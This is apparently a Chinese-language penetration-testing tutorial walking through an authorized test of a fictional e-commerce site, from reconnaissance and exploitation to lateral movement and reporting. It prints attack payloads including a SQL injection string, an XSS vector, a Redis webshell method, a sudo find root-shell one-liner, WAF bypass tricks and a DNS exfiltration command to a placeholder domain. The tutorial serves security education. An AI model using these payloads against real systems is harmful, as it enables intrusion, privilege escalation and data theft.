Web渗透测试实战：从信息收集到内网横向移动的完整攻防演练

1. 项目概述一次真实的渗透测试之旅最近有朋友问我你们搞渗透测试的是不是就像电影里演的那样对着键盘一通狂敲屏幕上代码瀑布一样往下流然后“啪”地一下系统就被拿下了我听完就笑了说那都是艺术加工。真实的渗透测试更像是一场精心策划的“外科手术”每一步都讲究逻辑、耐心和细节。今天我就以一个最近完成的、非常典型的Web应用渗透测试项目为例把整个过程掰开揉碎了讲给你听。这不仅仅是一次技术复盘更希望能让你理解一个负责任的渗透测试工程师他的思考路径和工作方法究竟是怎样的。无论你是刚入行的安全新人想了解实战流程还是企业的开发或运维人员想知道自己的系统可能面临哪些风险甚至是普通的技术爱好者对“黑客”如何工作感到好奇这篇文章都能给你一个清晰、完整且接地气的视角。这个案例的目标是一个中等规模的电商平台我们姑且称它为“ShopEasy”。测试类型是授权下的黑盒测试也就是说客户只给了我们一个线上域名和几个测试账号除此之外没有任何内部信息。我们的目标很明确模拟一个恶意攻击者的视角在不破坏业务的前提下尽可能深入地发现系统存在的安全隐患并最终提供一份能指导他们修复的详细报告。整个过程我会重点拆解几个核心阶段信息收集、漏洞探测、漏洞利用、权限提升和内网横向移动当然还有最重要的——报告撰写。你会发现炫酷的“漏洞利用”只是冰山一角水面下庞大的信息收集和逻辑分析才是决定成败的关键。2. 前期准备与信息收集绘制攻击地图很多人觉得渗透测试就是拿着扫描器扫漏洞其实大错特错。在真正动手之前我们有大量繁琐但至关重要的“功课”要做。这个阶段的目标是尽可能全面地绘制目标的“数字地图”包括它的网络架构、使用的技术、潜在的入口点甚至关联的公司和人员信息。信息收集的广度和深度直接决定了后续攻击面的宽度。2.1 被动信息收集像侦探一样调查被动信息收集指的是不直接与目标系统交互而是从公开渠道获取信息。这就像侦探破案前先查档案既隐蔽又安全。域名与子域名枚举首先我们从主域名shopeasy.com开始。使用像Amass、Subfinder这样的工具配合大量的公开DNS数据源、证书透明度日志CT Log进行子域名爆破。这里有个小技巧我们不仅查找*.shopeasy.com还会尝试关联其他顶级域比如shopeasy-inc.com、shopeasy.net等这些往往是测试环境、后台管理系统或合作伙伴接口的藏身之处。最终我们发现了admin.shopeasy.com后台管理、api.shopeasy.com移动端接口、dev.shopeasy.com开发环境等多个子域。目录与文件扫描针对发现的主站和子域名使用Dirsearch、Gobuster等工具进行目录和敏感文件扫描。字典的选择很有讲究通用字典配合针对目标技术栈比如探测到是Java Spring框架就加入Spring相关的路径字典的自定义字典效果会好很多。我们发现了/backup/目录存放了数据库备份脚本、/uploads/用户上传文件目录以及/api/v1/swagger-ui.htmlAPI文档页面。这个Swagger文档简直就是一份“攻击说明书”里面详细列出了所有API接口、参数和可能的请求格式。技术栈指纹识别使用Wappalyzer浏览器插件和WhatWeb命令行工具快速识别目标使用的Web服务器Nginx 1.18、后端框架Spring Boot 2.5、前端框架Vue.js、数据库从报错信息推测是MySQL以及具体的组件版本。知道版本号非常重要因为我们可以去搜索这些版本是否存在公开的已知漏洞CVE。关联信息挖掘通过theHarvester等工具从公开的搜索引擎、社交媒体、代码仓库如GitHub、GitLab搜索与“ShopEasy”相关的邮箱、员工姓名、代码片段。我们运气不错在GitHub上发现了一个属于该公司某开发人员的公开仓库里面有一个旧的项目配置文件不小心包含了测试数据库的连接字符串。虽然这个数据库已经下线但密码策略和命名规则为我们后续的密码猜解提供了重要线索。注意被动信息收集一定要遵守法律法规和测试授权范围。我们只收集完全公开的信息绝不使用非法的黑客手段入侵第三方平台或窃取数据。2.2 主动信息收集与目标“初次接触”主动信息收集需要与目标系统直接交互可能会被对方的防护设备如WAF、IDS记录因此要更加谨慎和低调。端口与服务扫描使用Nmap对目标IP地址进行扫描。这里切忌一上来就用默认的-A激进扫描选项那等于在对方门口放鞭炮。我们通常先使用-sS -T2低速TCP SYN扫描来探测开放端口再针对开放的端口如80, 443, 8080进行更细致的版本探测-sV。扫描发现除了80/443的Web服务还开放了22端口SSH、3306端口MySQL但仅限内网访问、6379端口Redis无密码保护。这个无密码的Redis服务立刻被标记为高危风险点。Web应用爬虫与分析使用Burp Suite的爬虫功能或者ZAP对目标网站进行自动化遍历。目的是理解网站的整体结构、功能点登录、注册、商品搜索、订单支付、个人中心以及所有可能的参数输入点URL参数、表单、Cookie、HTTP头。Burp Suite会把这些请求都记录在“代理历史”和“站点地图”中形成一张动态的网站结构图。我们特别关注那些包含用户可控输入的地方比如搜索框、订单ID、用户ID等。API接口分析结合之前发现的Swagger文档我们手动测试了关键的API接口。重点关注身份认证相关的接口如/api/v1/login、/api/v1/token/refresh、用户数据操作接口如/api/v1/user/profile、/api/v1/orders/{id}和管理功能接口。使用Burp Suite的“重放”功能尝试修改请求中的参数观察响应变化。3. 漏洞探测与利用寻找突破口有了详尽的信息地图我们就可以开始有针对性地寻找漏洞了。这个阶段是技术与思维碰撞的核心需要结合自动化工具和手动测试。3.1 自动化扫描与初步筛选我们使用Nessus、AWVS或Burp Suite Professional的主动扫描功能对目标进行一轮全面的漏洞扫描。自动化扫描能快速发现一些低悬的果实比如过时的组件漏洞、明显的配置错误等。扫描报告显示了几处中危漏洞Spring Boot Actuator端点未授权访问、某个JS库存在已知XSS漏洞、Cookie缺少HttpOnly标志。但是绝不能迷信自动化报告。很多严重的业务逻辑漏洞和新型的绕过手法扫描器是发现不了的。我们需要对扫描器报出的每一个点进行手动验证同时更要依靠手动测试去发现扫描器盲区。3.2 手动漏洞挖掘核心战场手动测试是我们投入精力最多的地方主要围绕以下几类常见漏洞展开1. 注入类漏洞SQLi、NoSQLi、命令注入 这是Web安全的经典漏洞。我们在所有用户输入点进行测试。对于搜索功能尝试输入、、\等特殊字符观察是否有数据库报错信息回显。利用Burp Suite的Intruder模块对疑似注入点进行基于时间盲注和布尔盲注的Payload测试。在这个案例中我们在商品分类筛选接口发现了一个时间盲注点参数categoryId存在SQL注入。Payload1 AND SLEEP(5)--会导致响应延迟5秒。我们使用sqlmap工具进行自动化利用成功获取了数据库名、表结构并最终拖取了用户表的部分数据。2. 跨站脚本XSS与跨站请求伪造CSRF 在商品评论、用户昵称等所有可以持久化存储和回显的地方测试XSS。我们发现在个人中心的“收货地址”字段虽然对script标签进行了过滤但可以通过img srcx onerroralert(1)这种方式成功触发存储型XSS。这意味着任何一个查看该用户订单详情的管理员其浏览器都可能被执行恶意脚本。 对于CSRF我们检查关键操作如修改邮箱、添加收货地址、下单的请求是否使用了随机Token验证。通过Burp Suite的“生成CSRF PoC”功能我们确认“修改密码”功能缺少有效的CSRF防护攻击者可以诱骗已登录用户点击一个链接从而在用户不知情的情况下修改其密码。3. 业务逻辑漏洞 这是最体现测试者思维深度的一类漏洞。我们像产品经理一样去理解业务流程然后寻找逻辑缺陷。越权访问这是重灾区。我们使用两个不同的测试账号普通用户A和管理员M。首先以A身份进行正常操作Burp Suite记录下所有请求。然后在请求中尝试将用户ID、订单ID等参数修改为B用户或M管理员的数据标识观察是否能访问或操作不属于自己的数据。测试发现/api/v1/orders/{orderId}接口仅通过URL中的orderId来鉴别权限未在后台校验当前登录用户是否是该订单的拥有者导致水平越权可以查看任意用户的订单详情。流程绕过在支付流程中我们尝试直接跳转到“支付成功”的回调页面或者修改订单金额参数为负数或0。发现当金额为0时系统仍然会生成一条状态为“已支付”的订单这是一个严重的金额篡改漏洞。竞争条件在“领取优惠券”功能中我们使用Burp Suite的Turbo Intruder扩展同时发起数十个领取请求成功突破了“每人限领一张”的限制领取了多张优惠券。4. 组件与配置漏洞未授权访问之前发现的Spring Boot Actuator端点如/actuator/env、/actuator/heapdump可以直接访问泄露了大量配置信息数据库密码、API密钥甚至能下载内存堆转储文件从中可以提取敏感数据。不安全的直接对象引用IDOR在用户上传头像功能中返回的头像URL是类似于/uploads/avatar/12345.jpg的形式。通过遍历12345这个数字我们可以直接下载其他用户的头像文件如果上传功能未对文件类型做严格限制这还可能演变成任意文件上传漏洞。Redis未授权访问直接使用redis-cli -h target_ip连接上目标的Redis服务。通过INFO命令可以获取服务器信息。更严重的是在Web服务器与Redis部署在同一台机器的情况下我们可以利用Redis向Web目录写入Webshell。具体操作是通过Redis设置一个键值对其值为一句话木马然后通过配置Redis数据目录将其保存为.php文件到Web可访问路径。我们实际测试并成功写入了一个简单的PHP Webshell。4. 权限提升与横向移动深入腹地在Web层面获取了一定权限比如通过SQL注入得到了数据库数据或通过Redis写入了Webshell后我们的目标就从“突破边界”转向“扩大战果”即权限提升和横向移动。4.1 从Web到服务器我们通过写入的Webshell拥有了在Web服务器上执行命令的有限权限。通常这个权限很低可能是www-data或nobody用户。第一步是进行信息收集whoami/id查看当前用户。uname -a查看系统内核版本。cat /etc/passwd查看系统用户。ps aux查看运行进程寻找高权限进程或可能存在的密码。sudo -l非常重要查看当前用户能以root身份执行哪些命令需要当前用户有sudo权限。在这个案例中我们发现Web服务是以www-data用户运行并且通过sudo -l检查发现该用户被配置了错误的sudo规则可以以root身份无需密码运行/usr/bin/find命令。这是一个经典的权限提升路径。我们可以利用find命令的-exec参数来执行任意命令sudo find / -name dummy -exec /bin/bash \;执行后我们就获得了一个root权限的bash shell完全控制了这台Web服务器。4.2 内网横向移动拿下第一台服务器DMZ区Web服务器后我们将其作为跳板探索内网。内网扫描在Web服务器上上传一个静态的nmap二进制文件对内网网段如192.168.1.0/24进行扫描。发现了多台主机数据库服务器192.168.1.10、文件服务器192.168.1.20、开发/测试服务器192.168.1.30。凭证窃取与复用检查Web服务器上的配置文件如application.properties、.env、历史命令history、日志文件寻找连接内网其他服务的密码。我们从Spring Boot的配置文件中找到了连接内网MySQL数据库的明文密码。SSH密钥利用检查~/.ssh/目录发现了可用于登录内网其他服务器的私钥文件id_rsa。使用该私钥我们成功免密登录了开发服务器192.168.1.30。中间人攻击与嗅探在更复杂的内网中如果上述方法无效可能会尝试ARP欺骗等中间人攻击嗅探网络流量以获取凭证。但在本次测试中通过凭证复用我们已经获得了足够多的访问权限。4.3 数据获取与影响验证在控制多台服务器后我们谨慎地验证漏洞的实际影响数据库脱库使用获取的凭证直接连接MySQL数据库导出核心的业务数据表用户信息、订单、商品。源代码审计在开发服务器上获取了完整的项目源代码。这具有双重意义一是可以分析源码发现更深层次的漏洞白盒审计二是源代码本身是极其重要的商业资产泄露风险极高。敏感文件收集在文件服务器上发现了员工通讯录、运营数据报表、与合作方的合同扫描件等大量敏感信息。重要心得在权限提升和横向移动阶段每一个操作都要格外小心避免对生产环境造成实质性破坏。我们的原则是“只读”除非必要如验证漏洞写入文件否则不修改、不删除任何数据。所有操作都应记录下完整的命令和输出作为报告的证据。5. 报告撰写与修复建议价值的最终交付渗透测试的最终产出不是炫技而是一份能让客户看懂、能指导他们修复问题的报告。报告写得好不好直接决定了这次测试的价值。5.1 报告结构与内容一份专业的渗透测试报告通常包含以下部分概述测试目标、范围、时间、参与人员。执行摘要用非技术语言向管理层汇报说明整体风险状况、发现的高危漏洞数量、可能造成的业务影响如数据泄露、资金损失、服务中断。详细发现这是报告的核心。每个漏洞作为一个独立条目包含漏洞标题清晰描述问题如“用户订单ID水平越权访问漏洞”。风险等级高危、中危、低危通常结合CVSS评分。受影响URL/组件精确定位。漏洞描述说明这是什么问题。复现步骤一步一步像食谱一样详细让开发人员能按照步骤100%复现问题。这是最重要的部分要附上HTTP请求和响应的截图或数据包。漏洞原理简要分析问题产生的根本原因如未在服务端校验用户权限。潜在影响这个漏洞如果被利用最坏会导致什么后果如所有用户订单信息泄露。修复建议给出具体、可操作的修复方案。例如对于越权漏洞建议“在服务端业务逻辑中对每次数据访问请求强制校验当前登录用户ID与请求数据的所有者ID是否匹配”。附录可能包含技术细节、扫描工具配置、测试用Payload等。5.2 修复建议的撰写艺术写修复建议不是简单地扔出一个漏洞名称而是要站在开发者的角度给出落地路径。避免空泛不要说“加强输入验证”而要说“在XX接口的XX参数处使用白名单机制只允许字母数字或使用预编译参数化查询来防御SQL注入”。提供代码示例如果可能给出修复前后的代码片段对比。例如展示如何从脆弱的字符串拼接SQL改为使用预编译的PreparedStatement。区分短期和长期对于紧急的高危漏洞建议一个快速的临时缓解方案如临时禁用某个接口同时提供一个彻底的、长期的修复方案如重构该功能模块的权限校验逻辑。关注安全开发生命周期SDL在报告总结部分可以提出流程改进建议例如“建议在代码审查环节加入安全 Checklist”、“引入静态应用程序安全测试SAST工具到CI/CD流程中”。6. 常见问题与排查技巧实录在实际操作中总会遇到各种预料之外的问题。分享几个典型的踩坑经验和解决思路。问题1扫描器什么也扫不出来手动测试也无头绪。排查思路首先回归本源检查信息收集是否彻底。是不是有隐藏的登录入口是不是用了非常规的端口是不是前端是单页应用SPA主要逻辑通过API交互而你没找到API文档尝试用浏览器开发者工具仔细查看网络请求关注所有的XHR/Fetch请求。也许真正的业务接口藏在某个特定的路径下或者请求头需要特殊的令牌。问题2遇到强大的WAFWeb应用防火墙所有攻击Payload都被拦截。排查思路WAF不是无敌的。首先识别WAF的类型和规则。通过发送一些试探性Payload观察拦截页面的特征可以判断是云WAF如Cloudflare、阿里云盾还是硬件WAF。然后尝试以下绕过技巧Payload编码与变形对Payload进行URL编码、双重编码、Unicode编码、HTML实体编码等。混淆拆分将union select拆分成un/**/ion sel/**/ect或用%0a换行符分割关键词。更改请求方式将GET请求的参数放到POST body中或者放到Cookie、HTTP头里试试。利用协议特性尝试使用HTTP/2、HTTP/3协议或者修改Content-Type为multipart/form-data有些WAF对非标准格式的解析存在问题。慢速攻击使用极慢的速度发送请求数据可能绕过基于流量速率的检测规则。问题3发现了疑似漏洞点如报错但无法进一步利用。排查思路这可能是一个“鸡肋”漏洞。首先确认漏洞是否真实存在且可稳定复现。然后评估其实际影响。例如一个SQL报错注入如果数据库用户权限极低只能访问一个无关紧要的系统表那风险等级就要下调。或者一个反射型XSS但输入点仅在管理员后台且需要非常复杂的交互才能触发其风险也相对较低。不要为了凑漏洞数量而强行夸大风险。问题4内网横向移动时命令执行无回显。排查思路这是常遇到的情况。服务器可能禁用了反向Shell连接。可以尝试以下方法使用带外OAST技术利用DNS、HTTP等协议将命令执行结果带出来。例如执行nslookup $(whoami).your-domain.com然后在你的DNS日志里查看子域名解析记录其中就包含了whoami的结果。写入文件将命令输出重定向到Web目录下的一个文件然后通过浏览器访问该文件查看。如ls -la /var/www/html/output.txt。使用更隐蔽的通信方式如果条件允许可以上传一个轻量级的代理工具如reGeorg、EarthWorm建立一条Socks代理隧道所有流量都通过这条隧道走更加稳定和隐蔽。渗透测试是一场永无止境的攻防博弈。技术工具在迭代攻击手法在进化防御体系也在不断完善。对我而言这个过程最有魅力的地方不在于最终“拿下”系统的瞬间而在于像解谜一样层层推进的逻辑思考在于对复杂系统抽丝剥茧的理解。每一次测试都是对目标系统的一次深度体检也是对自身知识体系的一次巩固和拓展。保持好奇心保持学习时刻关注安全社区的最新动态是一个渗透测试工程师能走多远的关键。最后请永远记住技术是一把双刃剑所有测试必须在合法、合规、获得明确授权的范围内进行这是我们不可逾越的红线。